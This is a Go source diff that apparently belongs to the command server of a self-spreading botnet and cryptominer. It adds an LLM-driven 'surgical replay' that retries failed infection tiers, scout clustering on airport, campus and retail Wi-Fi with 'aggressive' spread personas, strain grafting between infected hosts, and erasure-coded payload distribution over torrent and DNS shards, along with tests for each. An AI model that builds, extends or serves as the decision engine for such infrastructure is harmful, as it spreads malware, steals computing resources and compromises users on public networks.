+ "evidence": transcript.Evidence, + "transcript": transcript.Transcript, + "verdict": transcript.Verdict, + "commands": transcript.CommandsJSON, + "executed": executed, + "ts": transcript.Timestamp, + }) + } + if s.chamber.Emberwake != nil { + s.chamber.Emberwake(agentID, transcript) + } +} + +func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds []Command, response, promptHash string) { + trace := SurgicalTraceContext{} + if s.surgical.Trace != nil { + trace, _ = s.surgical.Trace.TraceForAgent(agentID) + } + failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts) + strain := "" + if s.surgical.StrainLookup != nil { + strain = s.surgical.StrainLookup(agentID) + } + + surgical, ok := SelectSurgicalCommand(cmds) + if !ok { + if s.store != nil { + _ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:no_command", nil) + } + return + } + + expanded := ExpandSurgicalCommand(surgical) + var dispatched Command + var outcome string + for _, cmd := range expanded { + if cmd.Type == CmdNoop { + continue + } + dispatched = cmd + if s.exec == nil { + outcome = "no executor" + break + } + sum, execErr := s.exec.Execute(agentID, cmd) + if execErr != nil { + outcome = "err:" + execErr.Error() + } else { + outcome = sum + } + break + } + if outcome == "" { + outcome = "noop" + } + + fixType := surgical.Type + if dispatched.Type != "" && dispatched.Type != surgical.Type { + fixType = surgical.Type + "→" + dispatched.Type + } + fixArgs := FormatSurgicalFixArgs(surgical) + if s.surgical.Strain != nil { + _ = s.surgical.Strain.InsertStrainMemory(agentID, trace.SessionID, failedTier, strain, fixType, fixArgs, outcome) + } + if s.surgical.Seer != nil { + _ = s.surgical.Seer.EmitSeerEvent("surgical_replay", agentID, map[string]interface{}{ + "session_id": trace.SessionID, + "failed_tier": failedTier, + "strain": strain, + "fix_type": fixType, + "fix_args": fixArgs, + "outcome": outcome, + "prompt_hash": promptHash, + "response": response, + }) + } + executed := fixType + ":" + outcome + if s.store != nil { + _ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:"+executed, nil) + } +} + const stuckHostFailedTierThreshold = 14 func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) { diff --git a/server/internal/ai/scheduler_test.go b/server/internal/ai/scheduler_test.go index 427ff2f..4c8d154 100644 --- a/server/internal/ai/scheduler_test.go +++ b/server/internal/ai/scheduler_test.go @@ -163,6 +163,98 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) { } } +type mockSurgicalTrace struct { + trace SurgicalTraceContext + ok bool +} + +func (m *mockSurgicalTrace) TraceForAgent(string) (SurgicalTraceContext, bool) { + return m.trace, m.ok +} + +type mockStrainStore struct { + mu sync.Mutex + rows []string +} + +func (m *mockStrainStore) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error { + m.mu.Lock() + m.rows = append(m.rows, agentID+":"+fixType+":"+outcome) + m.mu.Unlock() + return nil +} + +type mockSeer struct { + mu sync.Mutex + events []string +} + +func (m *mockSeer) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error { + m.mu.Lock() + m.events = append(m.events, eventType+":"+agentID) + m.mu.Unlock() + return nil +} + +func TestSchedulerSurgicalReplayDispatchesOneCommand(t *testing.T) { + old := DecideFunc + defer func() { DecideFunc = old }() + DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) { + return `Rationale: skip broken docker tier. +{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil + } + + exec := &mockExec{} + store := &mockStore{} + strain := &mockStrainStore{} + seer := &mockSeer{} + sched := NewScheduler( + &mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}}, + &mockSnap{ + ids: []string{"surg-1"}, + snap: AgentSnapshot{ + AgentID: "surg-1", Name: "host", + LOTLAttempts: []TierAttempt{ + {Tier: "vuln_recon", OK: true}, + {Tier: "docker", OK: false, Error: "daemon down"}, + }, + }, + }, + exec, + store, + nil, + nil, + ) + sched.SetSurgicalDeps(SurgicalDeps{ + Trace: &mockSurgicalTrace{ + trace: SurgicalTraceContext{SessionID: "trace-99", HopIndex: 0, HopCount: 2}, + ok: true, + }, + Strain: strain, + Seer: seer, + }) + sched.lastRun["surg-1"] = time.Now().Add(-2 * time.Minute) + sched.Tick() + + exec.mu.Lock() + n := len(exec.calls) + call := exec.calls + exec.mu.Unlock() + if n != 1 || call[0].Type != CmdReorderTiers { + t.Fatalf("expected single reorder_tiers dispatch, got %+v", call) + } + strain.mu.Lock() + defer strain.mu.Unlock() + if len(strain.rows) != 1 { + t.Fatalf("strain memory: %v", strain.rows) + } + seer.mu.Lock() + defer seer.mu.Unlock() + if len(seer.events) != 1 || seer.events[0] != "surgical_replay:surg-1" { + t.Fatalf("seer events: %v", seer.events) + } +} + func TestSchedulerCourtRetryElevatesL4(t *testing.T) { old := DecideFunc defer func() { DecideFunc = old }() diff --git a/server/internal/ai/scout_constellation.go b/server/internal/ai/scout_constellation.go new file mode 100644 index 0000000..5f141b8 --- /dev/null +++ b/server/internal/ai/scout_constellation.go @@ -0,0 +1,228 @@ +package ai + +import ( + "strings" + "time" +) + +const ( + ScoutConstellationMinAgents = 3 + ScoutConstellationWindow = 10 * time.Minute + + VenueAirport = "airport" + VenueCampus = "campus" + VenueRetail = "retail" + VenueUnknown = "unknown" +) + +// ScoutHit is one scout_report observation for constellation clustering. +type ScoutHit struct { + AgentID string + At time.Time + ServiceCount int +} + +// ScoutConstellation is an active venue cluster keyed by Wi-Fi SSID. +type ScoutConstellation struct { + SSID string `json:"ssid"` + VenueClass string `json:"venue_class"` + PersonaPack string `json:"persona_pack"` + AgentIDs []string `json:"agent_ids"` + Hits int `json:"hits"` + FormedAt time.Time `json:"formed_at"` + UpdatedAt time.Time `json:"updated_at"` +} + +// ScoutConstellationRegistry tracks scout_report hits and active constellations. +type ScoutConstellationRegistry struct { + hits map[string][]ScoutHit + active map[string]ScoutConstellation + agentSSID map[string]string +} + +// NewScoutConstellationRegistry returns an empty scout constellation tracker. +func NewScoutConstellationRegistry() *ScoutConstellationRegistry { + return &ScoutConstellationRegistry{ + hits: make(map[string][]ScoutHit), + active: make(map[string]ScoutConstellation), + agentSSID: make(map[string]string), + } +} + +// Record ingests a scout_report hit. The second return is true when the constellation changed. +func (r *ScoutConstellationRegistry) Record(agentID, ssid string, serviceCount int, now time.Time) (ScoutConstellation, bool) { + ssid = normalizeScoutSSID(ssid) + if ssid == "" || strings.TrimSpace(agentID) == "" { + return ScoutConstellation{}, false + } + if now.IsZero() { + now = time.Now().UTC() + } + + r.hits[ssid] = append(r.hits[ssid], ScoutHit{ + AgentID: agentID, + At: now, + ServiceCount: serviceCount, + }) + r.hits[ssid] = pruneScoutHits(r.hits[ssid], now.Add(-ScoutConstellationWindow)) + r.agentSSID[agentID] = ssid + + agents, totalHits, maxServices := scoutWindowStats(r.hits[ssid]) + if len(agents) < ScoutConstellationMinAgents { + return ScoutConstellation{}, false + } + + venue := InferVenueClass(ssid, maxServices, len(agents)) + persona := VenuePersonaPack(venue) + prev, had := r.active[ssid] + changed := !had || + prev.VenueClass != venue || + prev.PersonaPack != persona || + !sameAgentSet(prev.AgentIDs, agents) + + c := ScoutConstellation{ + SSID: ssid, + VenueClass: venue, + PersonaPack: persona, + AgentIDs: append([]string(nil), agents...), + Hits: totalHits, + UpdatedAt: now, + } + if had { + c.FormedAt = prev.FormedAt + } else { + c.FormedAt = now + } + r.active[ssid] = c + return c, changed +} + +// Snapshot returns all active scout constellations. +func (r *ScoutConstellationRegistry) Snapshot() []ScoutConstellation { + out := make([]ScoutConstellation, 0, len(r.active)) + for _, c := range r.active { + out = append(out, c) + } + return out +} + +// ForAgent returns the active constellation for a scout agent, if any. +func (r *ScoutConstellationRegistry) ForAgent(agentID string) *ScoutConstellation { + ssid, ok := r.agentSSID[strings.TrimSpace(agentID)] + if !ok { + return nil + } + c, ok := r.active[ssid] + if !ok { + return nil + } + cp := c + return &cp +} + +// BuildScoutSpreadPolicy returns spread_policy JSON fields for a venue constellation. +func BuildScoutSpreadPolicy(constellation ScoutConstellation) map[string]interface{} { + temp := PersonaSpreadTemperament(constellation.PersonaPack) + return map[string]interface{}{ + "persona_pack": constellation.PersonaPack, + "venue_class": constellation.VenueClass, + "constellation_ssid": constellation.SSID, + "spread_temperament": temp, + "scout_constellation": true, + } +} + +// InferVenueClass heuristically classifies a Wi-Fi venue from SSID + scout telemetry. +func InferVenueClass(ssid string, serviceCount, agentCount int) string { + s := strings.ToLower(strings.TrimSpace(ssid)) + switch { + case containsAny(s, "airport", "lounge", "terminal", "inflight", "gogoinflight", "fly", "united", "delta", "ba-wifi"): + return VenueAirport + case containsAny(s, "edu", "university", "college", "campus", "student", "academic"): + return VenueCampus + case containsAny(s, "guest", "public", "free", "store", "mall", "shop", "retail", "cafe", "coffee", "starbucks", "walmart", "target"): + return VenueRetail + case serviceCount >= 20 && agentCount >= ScoutConstellationMinAgents: + return VenueAirport + case serviceCount >= 12: + return VenueCampus + default: + return VenueUnknown + } +} + +// VenuePersonaPack maps venue class to a Calibrate persona temperament. +func VenuePersonaPack(venue string) string { + switch strings.ToLower(strings.TrimSpace(venue)) { + case VenueAirport: + return PersonaPersuasive + case VenueCampus: + return PersonaBalanced + case VenueRetail: + return PersonaAggressive + default: + return PersonaBalanced + } +} + +func normalizeScoutSSID(ssid string) string { + return strings.TrimSpace(ssid) +} + +func pruneScoutHits(hits []ScoutHit, cutoff time.Time) []ScoutHit { + out := hits[:0] + for _, h := range hits { + if !h.At.Before(cutoff) { + out = append(out, h) + } + } + return out +} + +func scoutWindowStats(hits []ScoutHit) (agents []string, totalHits, maxServices int) { + seen := make(map[string]bool) + for _, h := range hits { + totalHits++ + if h.ServiceCount > maxServices { + maxServices = h.ServiceCount + } + id := strings.TrimSpace(h.AgentID) + if id == "" || seen[id] { + continue + } + seen[id] = true + agents = append(agents, id) + } + return agents, totalHits, maxServices +} + +func sameAgentSet(a, b []string) bool { + if len(a) != len(b) { + return false + } + seen := make(map[string]int, len(a)) + for _, id := range a { + seen[id]++ + } + for _, id := range b { + seen[id]-- + if seen[id] < 0 { + return false + } + } + for _, n := range seen { + if n != 0 { + return false + } + } + return true +} + +func containsAny(s string, needles ...string) bool { + for _, n := range needles { + if strings.Contains(s, n) { + return true + } + } + return false +} diff --git a/server/internal/ai/scout_constellation_test.go b/server/internal/ai/scout_constellation_test.go new file mode 100644 index 0000000..bb2efc6 --- /dev/null +++ b/server/internal/ai/scout_constellation_test.go @@ -0,0 +1,90 @@ +package ai + +import ( + "testing" + "time" +) + +func TestInferVenueClassSSIDHints(t *testing.T) { + cases := []struct { + ssid string + want string + svc int + agents int + }{ + {"SFO-Airport-Free-WiFi", VenueAirport, 8, 3}, + {"StateUniversity-Campus", VenueCampus, 6, 3}, + {"Target-Guest", VenueRetail, 4, 3}, + {"MyHomeNetwork", VenueUnknown, 2, 3}, + {"dense-mobile", VenueAirport, 25, 4}, + {"busy-lan", VenueCampus, 14, 3}, + } + for _, tc := range cases { + got := InferVenueClass(tc.ssid, tc.svc, tc.agents) + if got != tc.want { + t.Fatalf("InferVenueClass(%q)=%q want %q", tc.ssid, got, tc.want) + } + } +} + +func TestVenuePersonaPackMapping(t *testing.T) { + if VenuePersonaPack(VenueAirport) != PersonaPersuasive { + t.Fatal("airport should be persuasive") + } + if VenuePersonaPack(VenueRetail) != PersonaAggressive { + t.Fatal("retail should be aggressive") + } + if VenuePersonaPack(VenueCampus) != PersonaBalanced { + t.Fatal("campus should be balanced") + } +} + +func TestScoutConstellationFormsAtThreeAgents(t *testing.T) { + reg := NewScoutConstellationRegistry() + now := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC) + ssid := "Campus-Guest" + + _, changed := reg.Record("scout-1", ssid, 4, now) + if changed { + t.Fatal("should not form with one scout") + } + _, changed = reg.Record("scout-2", ssid, 6, now.Add(time.Minute)) + if changed { + t.Fatal("should not form with two scouts") + } + c, changed := reg.Record("scout-3", ssid, 8, now.Add(2*time.Minute)) + if !changed { + t.Fatal("expected constellation formation") + } + if c.VenueClass != VenueCampus { + t.Fatalf("venue=%q", c.VenueClass) + } + if c.PersonaPack != PersonaBalanced { + t.Fatalf("persona=%q", c.PersonaPack) + } + if len(c.AgentIDs) != 3 { + t.Fatalf("agents=%v", c.AgentIDs) + } + + policy := BuildScoutSpreadPolicy(c) + if policy["persona_pack"] != PersonaBalanced { + t.Fatalf("policy persona=%v", policy["persona_pack"]) + } + if policy["scout_constellation"] != true { + t.Fatal("missing scout_constellation flag") + } +} + +func TestScoutConstellationPrunesOldHits(t *testing.T) { + reg := NewScoutConstellationRegistry() + base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC) + ssid := "Retail-Free" + + reg.Record("a1", ssid, 3, base.Add(-11*time.Minute)) + reg.Record("a2", ssid, 3, base.Add(-11*time.Minute)) + reg.Record("a3", ssid, 3, base) + _, changed := reg.Record("a4", ssid, 3, base.Add(time.Minute)) + if changed { + t.Fatal("stale hits should not count toward constellation") + } +} diff --git a/server/internal/api/atlas_gossip.go b/server/internal/api/atlas_gossip.go index a3d6139..faeb625 100644 --- a/server/internal/api/atlas_gossip.go +++ b/server/internal/api/atlas_gossip.go @@ -33,6 +33,7 @@ func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) { if len(skips) == 0 { return } + h.recordGossipWhisper(senderSubnet, hints) out := Message{ Type: "atlas_gossip", Payload: mustMarshal(map[string]interface{}{ diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go index 1e3430a..52cd770 100644 --- a/server/internal/api/deploy_plan.go +++ b/server/internal/api/deploy_plan.go @@ -314,9 +314,34 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s if body.SpreadRouteHint != nil { body.SpreadRouteHint.ErasureLanesEnabled = true } + if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil { + if body.SpreadRouteHint == nil { + body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{} + } + body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet + body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs + } return nil } +func shardsFromStore(store *erasure.ShardStore, token string) [][]byte { + if store == nil || token == "" { + return nil + } + p, ok := store.ParamsFor(token) + if !ok { + return nil + } + total := p.TotalShards() + out := make([][]byte, total) + for i := 0; i < total; i++ { + if sh, ok := store.Get(token, i); ok { + out[i] = sh + } + } + return out +} + func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint { if h.pathTracer == nil { return nil diff --git a/server/internal/api/fleet_ai_bridge.go b/server/internal/api/fleet_ai_bridge.go index a9879dc..8e88212 100644 --- a/server/internal/api/fleet_ai_bridge.go +++ b/server/internal/api/fleet_ai_bridge.go @@ -286,6 +286,16 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, return "fetch_module:" + module, nil case fleetai.CmdReorderTiers: return e.pushReorderTiers(agentID, args) + case fleetai.CmdSpreadGraft: + sourceID, _ := args["source_agent_id"].(string) + if sourceID == "" { + return "", fmt.Errorf("spread_graft requires source_agent_id") + } + graft, err := e.Hub.ApproveFleetGraft(sourceID, agentID) + if err != nil { + return "", err + } + return "spread_graft:" + graft.GraftTier, nil case fleetai.CmdBulkCommand: return e.runBulkCommand(args) case fleetai.CmdAgentCommand: @@ -303,6 +313,57 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, return "", err } return action, nil + case fleetai.CmdPersonaTweak: + persona, _ := args["persona"].(string) + if strings.TrimSpace(persona) == "" { + return "", fmt.Errorf("persona_tweak requires persona") + } + e.Hub.mu.Lock() + policy := e.Hub.serverPolicy + policy.AIPersona = fleetai.NormalizePersona(persona) + e.Hub.serverPolicy = policy + e.Hub.mu.Unlock() + return "persona:" + policy.AIPersona, nil + case fleetai.CmdEnableErasure: + e.Hub.mu.Lock() + policy := e.Hub.serverPolicy + policy.ErasureLanesEnabled = true + e.Hub.serverPolicy = policy + e.Hub.mu.Unlock() + return "erasure:on", nil + case fleetai.CmdSpreadGraft: + sourceID, _ := args["source_agent_id"].(string) + tier, _ := args["tier"].(string) + if strings.TrimSpace(sourceID) == "" { + return "", fmt.Errorf("spread_graft requires source_agent_id") + } + if e.Hub.db == nil { + return "", fmt.Errorf("database unavailable") + } + source, err := e.Hub.db.GetAgent(strings.TrimSpace(sourceID)) + if err != nil || source == nil { + return "", fmt.Errorf("source agent not found") + } + skipTiers := []interface{}{} + if strings.TrimSpace(tier) != "" { + skipTiers = append(skipTiers, strings.TrimSpace(tier)) + } + graftArgs := map[string]interface{}{"graft_source": sourceID, "graft_tier": tier} + if source.JoinLane != "" { + graftArgs["join_lane"] = source.JoinLane + } + if len(skipTiers) > 0 { + if err := e.pushReorderTiers(agentID, map[string]interface{}{"skip_tiers": skipTiers}); err != nil { + return "", err + } + } + if source.JoinLane != "" { + if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", map[string]interface{}{"lane": source.JoinLane}); err != nil { + return "", err + } + return "graft:" + source.JoinLane, nil + } + return "graft:recorded", nil default: if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil { return "", err diff --git a/server/internal/api/fleet_intelligence_test.go b/server/internal/api/fleet_intelligence_test.go index a55b3ea..1cb5652 100644 --- a/server/internal/api/fleet_intelligence_test.go +++ b/server/internal/api/fleet_intelligence_test.go @@ -1,6 +1,7 @@ package api import ( + "context" "encoding/json" "io" "net/http" @@ -44,6 +45,7 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled}) cfgSrc := &mutableFleetAIConfig{view: aiCfg} + pathTracer := NewPathTracerHandler(hub) sched := fleetai.NewScheduler( &ConfigAIAdapter{Src: cfgSrc}, &WSHubSnapshotAdapter{Hub: hub}, @@ -52,6 +54,15 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db &DatabaseCourtAdapter{DB: database}, hub.ClearanceManager(), ) + sched.SetSurgicalDeps(fleetai.SurgicalDeps{ + Trace: &PathTraceSurgicalAdapter{Hub: hub, PathTrace: pathTracer}, + Strain: &DatabaseStrainMemoryAdapter{DB: database}, + Seer: &HubSeerEmitter{Hub: hub, DB: database}, + StrainLookup: func(agentID string) string { + return StrainFromAgent(hub, agentID) + }, + ErasureActive: func() bool { return hub.PolicyErasureEnabled() }, + }) return hub, database, sched } @@ -492,3 +503,130 @@ func TestIntegrationAIOverridesAdaptive(t *testing.T) { t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent) } } + +// TestIntegrationSurgicalReplayFlow exercises pathtrace trace + partial spread failure → surgical fix → strain memory + Seer. +func TestIntegrationSurgicalReplayFlow(t *testing.T) { + aiCfg := FleetAIConfigView{ + AIControlEnabled: true, AIEndpoint: "http://127.0.0.1:9/v1", + AIModel: "test-model", AIDecisionIntervalSec: 1, + } + hub, database, sched := newFleetIntelligenceHub(t, aiCfg) + + agentID := "surgical-agent" + if err := database.UpsertAgent(&models.Agent{ + ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online", + SpreadStrain: "#112233", + LOTLAttempts: []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + }{ + {Tier: "vuln_recon", OK: true}, + {Tier: "docker", OK: false, Error: "daemon missing"}, + }, + }); err != nil { + t.Fatal(err) + } + + sessPayload, _ := json.Marshal(pathTraceSessionPersist{ + ID: "surgical-sess", + AgentIDs: []string{agentID}, + Hops: []*HopInfo{{AgentID: agentID, AgentName: "surgical-host"}}, + Error: "spread blocked at docker", + }) + if err := database.UpsertPathTraceSession("surgical-sess", time.Now().UTC(), sessPayload); err != nil { + t.Fatal(err) + } + + var capturedPrompt string + oldDecide := fleetai.DecideFunc + fleetai.DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) { + capturedPrompt = systemPrompt + "\n" + userPrompt + return `Rationale: skip docker and retry wsl lane. +{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil + } + t.Cleanup(func() { fleetai.DecideFunc = oldDecide }) + + conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{ + "agent_id": agentID, "hostname": "surgical-host", "platform": "windows", "version": "1.0", + }) + pushPartialSpreadTelemetry(t, conn) + + cmdCh := make(chan string, 1) + go func() { + _ = conn.SetReadDeadline(time.Now().Add(5 * time.Second)) + for { + var msg Message + if err := conn.ReadJSON(&msg); err != nil { + return + } + if msg.Type != "adaptive_strategy_update" { + continue + } + cmdCh <- "reorder_tiers" + return + } + }() + + sched.ResetLastRunForTest(agentID, 2*time.Minute) + sched.Tick() + + if capturedPrompt == "" { + t.Fatal("expected surgical replay LLM prompt") + } + if strings.Contains(capturedPrompt, "## PROSECUTOR") { + t.Fatalf("expected surgical replay prompt, not court: %s", capturedPrompt) + } + if !strings.Contains(capturedPrompt, "Surgical replay") { + t.Fatalf("missing surgical replay header: %s", capturedPrompt) + } + + select { + case action := <-cmdCh: + if action != "reorder_tiers" { + t.Fatalf("unexpected dispatch %q", action) + } + case <-time.After(5 * time.Second): + t.Fatal("timed out waiting for surgical reorder_tiers on agent WS") + } + + strainRows, err := database.ListStrainMemory(agentID, 5) + if err != nil { + t.Fatal(err) + } + if len(strainRows) != 1 || strainRows[0].FailedTier != "docker" { + t.Fatalf("strain memory: %+v", strainRows) + } + seerRows, err := database.ListSeerEvents(5) + if err != nil { + t.Fatal(err) + } + if len(seerRows) != 1 || seerRows[0].EventType != "surgical_replay" { + t.Fatalf("seer events: %+v", seerRows) + } + decisions, err := database.ListAIDecisions(agentID, 5) + if err != nil { + t.Fatal(err) + } + if len(decisions) == 0 || !strings.Contains(decisions[0].CommandsExecuted, "surgical:") { + t.Fatalf("expected surgical decision audit, got %+v", decisions) + } +} + +func pushPartialSpreadTelemetry(t *testing.T, conn *websocket.Conn) { + t.Helper() + attempts := []map[string]interface{}{ + {"tier": "vuln_recon", "ok": true, "duration_ms": 100}, + {"tier": "docker", "ok": false, "error": "daemon missing", "duration_ms": 500}, + } + payload, _ := json.Marshal(map[string]interface{}{ + "lotl_attempts": attempts, + "lotl_tier": "docker", + "mining_hashrate": 0.0, + }) + if err := conn.WriteJSON(Message{Type: "stats", Payload: payload}); err != nil { + t.Fatal(err) + } + time.Sleep(100 * time.Millisecond) +} diff --git a/server/internal/api/pathtracer_handler.go b/server/internal/api/pathtracer_handler.go index 02ed24c..2195b94 100644 --- a/server/internal/api/pathtracer_handler.go +++ b/server/internal/api/pathtracer_handler.go @@ -81,6 +81,13 @@ type TraceSession struct { // Client WireGuard keypair — used to build the QR config. clientPrivKey string clientPubKey string + // Onion timeline fork/merge — ghost branches explore persona spread/mining on target hop. + TimelineRootID string `json:"timeline_root_id,omitempty"` + TimelineBranches []*TimelineBranch `json:"timeline_branches,omitempty"` + MergedPersona string `json:"merged_persona,omitempty"` + MergedSpreadLane string `json:"merged_spread_lane,omitempty"` + MergedBranchID string `json:"merged_branch_id,omitempty"` + MergedHashrate float64 `json:"merged_hashrate,omitempty"` } const ( @@ -122,6 +129,12 @@ type pathTraceSessionPersist struct { NetworkHints json.RawMessage `json:"network_hints,omitempty"` ClientPrivKey string `json:"client_priv_key,omitempty"` ClientPubKey string `json:"client_pub_key,omitempty"` + TimelineRootID string `json:"timeline_root_id,omitempty"` + TimelineBranches []*TimelineBranch `json:"timeline_branches,omitempty"` + MergedPersona string `json:"merged_persona,omitempty"` + MergedSpreadLane string `json:"merged_spread_lane,omitempty"` + MergedBranchID string `json:"merged_branch_id,omitempty"` + MergedHashrate float64 `json:"merged_hashrate,omitempty"` } func (h *PathTracerHandler) loadPersistedSessions() { @@ -163,6 +176,12 @@ func (h *PathTracerHandler) loadPersistedSessions() { NetworkHints: rec.NetworkHints, clientPrivKey: rec.ClientPrivKey, clientPubKey: rec.ClientPubKey, + TimelineRootID: rec.TimelineRootID, + TimelineBranches: rec.TimelineBranches, + MergedPersona: rec.MergedPersona, + MergedSpreadLane: rec.MergedSpreadLane, + MergedBranchID: rec.MergedBranchID, + MergedHashrate: rec.MergedHashrate, } } if len(rows) > 0 { @@ -189,6 +208,12 @@ func (h *PathTracerHandler) persistSession(sess *TraceSession) { NetworkHints: sess.NetworkHints, ClientPrivKey: sess.clientPrivKey, ClientPubKey: sess.clientPubKey, + TimelineRootID: sess.TimelineRootID, + TimelineBranches: sess.TimelineBranches, + MergedPersona: sess.MergedPersona, + MergedSpreadLane: sess.MergedSpreadLane, + MergedBranchID: sess.MergedBranchID, + MergedHashrate: sess.MergedHashrate, } h.mu.Unlock() raw, err := json.Marshal(rec) @@ -303,6 +328,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) { h.mu.Lock() h.sessions[sess.ID] = sess + initCanonicalTimeline(sess) h.mu.Unlock() h.persistSession(sess) @@ -345,6 +371,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) { if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 { resp["spread_routes"] = routes } + for k, v := range timelineFieldsForStatus(sess) { + resp[k] = v + } writeJSON(w, resp) } diff --git a/server/internal/api/public_handler.go b/server/internal/api/public_handler.go index f1d19a9..e046960 100644 --- a/server/internal/api/public_handler.go +++ b/server/internal/api/public_handler.go @@ -207,6 +207,47 @@ func encodeDNSTXTShard(data []byte) string { return base64.StdEncoding.EncodeToString(data) } +// GET /api/v1/public/erasure-torrent/{token}/manifest +func (h *PublicHandler) ErasureTorrentManifest(w http.ResponseWriter, r *http.Request) { + if h.erasureShards == nil { + http.Error(w, "erasure shards unavailable", http.StatusNotFound) + return + } + token := strings.TrimSpace(chi.URLParam(r, "token")) + if token == "" { + http.Error(w, "token required", http.StatusBadRequest) + return + } + p, ok := h.erasureShards.ParamsFor(token) + if !ok { + http.Error(w, "torrent not found", http.StatusNotFound) + return + } + total := p.TotalShards() + shards := make([][]byte, total) + hasAny := false + for i := 0; i < total; i++ { + if sh, ok := h.erasureShards.Get(token, i); ok { + shards[i] = sh + hasAny = true + } + } + if !hasAny { + http.Error(w, "torrent not found", http.StatusNotFound) + return + } + base := strings.TrimRight(strings.TrimSpace(r.URL.Scheme+"://"+r.Host), "/") + if base == "://" { + base = "http://127.0.0.1:8989" + } + manifest, err := erasure.BuildTorrentManifest(base, token, "", len(shards[0])*p.DataShards, p, erasure.ShardContentHashes(shards)) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, manifest) +} + // GET /api/v1/public/erasure-shard/{token}/{index} func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) { if h.erasureShards == nil { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 7756de6..59c019c 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -571,6 +571,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler phenotypeHandler := NewPhenotypeHandler(database) r.Get("/phenotypes", phenotypeHandler.List) + subnetAutopsyHandler := NewSubnetAutopsyHandler(wsHub, pathTracerHandler) + r.Get("/atlas/subnet-autopsy", subnetAutopsyHandler.Get) + if fleetHandler != nil { r.Get("/alerts", fleetHandler.GetAlerts) r.Post("/alerts/test", fleetHandler.PostAlertTest) @@ -585,6 +588,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel) r.Put("/fleet/policy", fleetHandler.PutFleetPolicy) r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush) + r.Post("/fleet/graft", fleetHandler.PostFleetGraft) + r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards) + r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard) } if fleetAIHandler != nil { r.Get("/ai/models", fleetAIHandler.GetModels) @@ -593,6 +599,15 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/ai/decisions", fleetAIHandler.GetDecisions) r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents) } + seerHandler := NewSeerHandler(database) + r.Get("/seer/stream", seerHandler.GetStream) + r.Post("/seer/stream", seerHandler.PostStream) + r.Get("/seer/notes", seerHandler.GetNotes) + r.Post("/seer/notes", seerHandler.PostNote) + r.Get("/seer/tools", seerHandler.GetTools) + r.Post("/seer/tools/spread_route", seerHandler.ToolSpreadRoute) + r.Post("/seer/tools/graft_strain", seerHandler.ToolGraftStrain) + r.Post("/seer/tools/fork_onion", seerHandler.ToolForkOnion) moduleStore := NewModuleStore(dataDir, func() string { fleetSecretForAgentPathsMu.RLock() @@ -638,6 +653,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias } + if wsHub != nil { + scoutHandler := NewScoutConstellationHandler(wsHub) + r.Get("/scout/constellations", scoutHandler.GetConstellations) + } // Path Forge: walk a local server path, place launchers next to every file if pathForgeHandler != nil { r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP) @@ -722,6 +741,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/pathtrace/discover", pathTracerHandler.Discover) r.Post("/pathtrace/spread-route", 